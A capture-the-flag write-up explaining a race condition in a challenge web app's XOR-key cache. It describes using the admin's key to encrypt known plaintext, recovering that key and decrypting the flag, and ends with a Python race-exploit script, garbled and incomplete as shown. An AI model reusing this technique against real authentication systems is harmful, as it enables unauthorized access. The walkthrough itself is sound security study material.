TL;DR Timing attack abuse of backend xor key cache to force encrypting a known plaintext with admin key that we can then use to decrypt flag.

Here we’re presented with code to audit and some great corporate doublespeak about the greatness of this site. Something I might disagree with personally. First things first, click all the buttons on the site and get an idea for the flow of an application, something that’s normally more difficult from purely a code point of view.


Barebones to say the least, standard setup of a register and login portal to the challenge site. The only odd thing is you have to first “login” (the first screenshot) then “auth” by using your password (second screenshot). Whilst the site might look barebones, holy red herrings batman did the code contain a lot of things that looked CTFy. Low privilege user, backend state checks that are never used, tokens that are claimed to be “finished next year”, CAPTCHA’s that are never checked, randomly commented code that isn’t useful, an entire error function that is never used. Turns out all that stuff was irrelevant. The only relevant bits are:


The issue is that you can insert into the cache a valid session with the admin’s key without having to enter any authentication details! So easy to exploit right? Login normally, then make a request to “/login/user” with admin as the login POST variable? Then you can write a note of known plaintext, which gets encrypted with admin’s XOR key. Then take the encrypted message, XOR with known plaintext, recover the admin’s key. Decrypt flag, win ez pz gg no re.

Well not so fast my excitable reader, you’ll be blocked by the custom python decorator “@loginzone”.  Which checks if your flask.session[K_LOGGED_IN] is True, if not you get booted back to /home. And we can see from above, as soon as you POST to /login/user, your session value of K_LOGGED_IN is set to False. Well that’s a pain, however K_LOGGED_IN is set to False AFTER the cache has already been updated. So there exists a time period where the backend cache has the admin’s key in for your session, AND your session hasn’t yet been set to False. So the trick is, to do the above steps ^ but quickly. You can then find the encrypted flag at “http://solution.hackable.software:8080/note/show/1”. A xor against the recovered admin key nets you:

Hi. I wish U luck. Only I can posses flag: DrgnS{L0l!_U_h4z_bR4ak_that_5upr_w33b4pp!Gratz!} … he he he

Just wish the backend wouldn’t keep logging me out under the strain of other ctf competitors hitting it with nikto or something.

Script to do the attack:

import requests
from time import sleep
from threading import Thread
from requests import get, post, put, patch, delete, options, head

base = "http://solution.hackable.software:8080"
login_url = base + "/login/user"
auth_url = base + "/login/auth"
key_url = base + "/note/getkey"
note_url = base + "/note/add"

sid = "hacker13"
data_login = {"login": "stuff"}
data_admin = {"login": "admin"}
data_auth = {"token": "", "password": "stuff"}
data_note = {"text": "a"*200}

def print_res(res, **kwargs):
print res.text

def async_request(method, callback=None, timeout=15, *args, **kwargs):
"""Makes request on a different thread, and optionally passes response to a
`callback` function when request returns.
method = request_methods[method.lower()]
if callback:
def callback_with_args(response, *args, **kwargs):
kwargs['hooks'] = {'response': callback_with_args}
kwargs['timeout'] = timeout
thread = Thread(target=method, args=args, kwargs=kwargs)

request_methods = {
'get': get,
'post': post,
'put': put,
'patch': patch,
'delete': delete,
'options': options,
'head': head,

# Send auth post request
req = requests.post(login_url, data=data_login, cookies={'solution': sid})
# Finishing valid login on session
req = requests.post(auth_url, data=data_auth, cookies={'solution': sid})
print "##### Login! #####"

# attempt to login again as "admin"
# This fills the cache with admin's xor key
async_request('post', url=login_url, data=data_admin, cookies={"solution": sid})
# Encrypt a known message with admin's xor key. This works since the session hasn't been set to logged out
# But the cached xor key has been updated already
async_request('post', callback=print_res, data=data_note, url=note_url, cookies={"solution": sid})